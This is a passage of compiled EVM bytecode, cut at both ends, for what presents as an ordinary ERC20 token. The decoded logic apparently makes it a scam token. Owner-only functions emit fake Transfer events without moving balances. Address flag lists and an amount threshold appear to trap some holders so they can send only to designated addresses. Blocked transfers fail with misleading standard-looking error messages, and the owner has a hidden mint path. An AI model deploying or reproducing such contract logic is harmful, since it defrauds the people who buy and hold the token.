9190803590602001909291905050506116cc565b005b6107c36004803603602081101561079757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118eb565b005b61087b600480360360208110156107db57600080fd5b81019080803590602001906401000000008111156107f857600080fd5b82018360208201111561080a57600080fd5b8035906020019184602083028401116401000000008311171561082c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611a37565b005b610885611bef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610909600480360360208110156108dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c15565b005b61094d6004803603602081101561092157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d61565b6040518082815260200191505060405180910390f35b61096b611da9565b005b610975611e6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b557808201518184015260208101905061099a565b50505050905090810190601f1680156109e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a5c60048036036060811015610a0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f10565b005b610aca60048036036060811015610a7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061203d565b604051808215151515815260200191505060405180910390f35b610b5060048036036060811015610afa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121d9565b005b610b9e60048036036040811015610b6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612306565b604051808215151515815260200191505060405180910390f35b610bc0612324565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c0a61234a565b005b610d7660048036036060811015610c2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610c5f57600080fd5b820183602082011115610c7157600080fd5b80359060200191846020830284011164010000000083111715610c9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610cf357600080fd5b820183602082011115610d0557600080fd5b80359060200191846020830284011164010000000083111715610d2757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061240f565b005b610ee260048036036060811015610d8e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610dcb57600080fd5b820183602082011115610ddd57600080fd5b80359060200191846020830284011164010000000083111715610dff57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610e5f57600080fd5b820183602082011115610e7157600080fd5b80359060200191846020830284011164010000000083111715610e9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061257f565b005b610f4660048036036040811015610efa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126a9565b6040518082815260200191505060405180910390f35b610f9e60048036036020811015610f7257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612730565b604051808215151515815260200191505060405180910390f35b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b815181101561116d5760016002600084848151811061109c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061110757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611081565b5050565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112095780601f106111de57610100808354040283529160200191611209565b820191906000526020600020905b8154815290600101906020018083116111ec57829003601f168201915b5050505050905090565b6000611227611220612812565b848461281a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b600061134f848484612a11565b6114108461135b612812565b61140b856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113c1612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b825181101561159c5782818151811061151057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061157257fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506114fb565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611665576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61167983611671612812565b60085461281a565b60008090505b82518110156116c6576116b98484838151811061169857fe5b60200260200101518484815181106116ac57fe5b60200260200101516144b6565b808060010191505061167f565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6117a4816004546147f390919063ffffffff16565b60048190555061181d81600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a3481600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600061281a565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611afa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8151811015611beb576001806000848481518110611b1a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110611b8557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611b00565b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d5e81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085461281a565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f065780601f10611edb57610100808354040283529160200191611f06565b820191906000526020600020905b815481529060010190602001808311611ee957829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61210d8484846144b6565b6121ce84612119612812565b6121c9856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061217f612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461229c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061231a612313612812565b8484612a11565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461240d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b8251811015612579578281815181106124ed57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061254f57fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506124d8565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612642576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6126568361264e612812565b60085461281a565b60008090505b82518110156126a3576126968484838151811061267557fe5b602002602001015184848151811061268957fe5b60200260200101516144b6565b808060010191505061265c565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61280982612801612812565b60085461281a565b60019050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806149396024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806148a46022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015612ae05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612e635781600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612bac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b612c3d86868661487b565b612ca8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612df957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ee565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612f0c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80612f645750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561333b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612ff157508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612ffe5780600a819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561310a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61311586868661487b565b613180846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613213846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156132d157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ed565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156136d157600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561341a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156134a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6134ab86868661487b565b613516846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135a9846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561366757600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ec565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613b6557600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806137d35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b613828576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156138ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613934576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61393f86868661487b565b6139aa846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613afb57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143eb565b600a54811015613fb357600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613c76576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613cfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b613d8d86868661487b565b613df8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e8b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613f4957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ea565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061405c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6140b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614137576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156141bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6141c886868661487b565b614233846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506142c6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561438457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b60008383111582906144a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561446857808201518184015260208101905061444d565b50505050905090810190601f1680156144955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561453c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156145c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6145cd83838361487b565b614638816040518060600160405280602681526020016148c6602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506146cb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561478957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015614871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726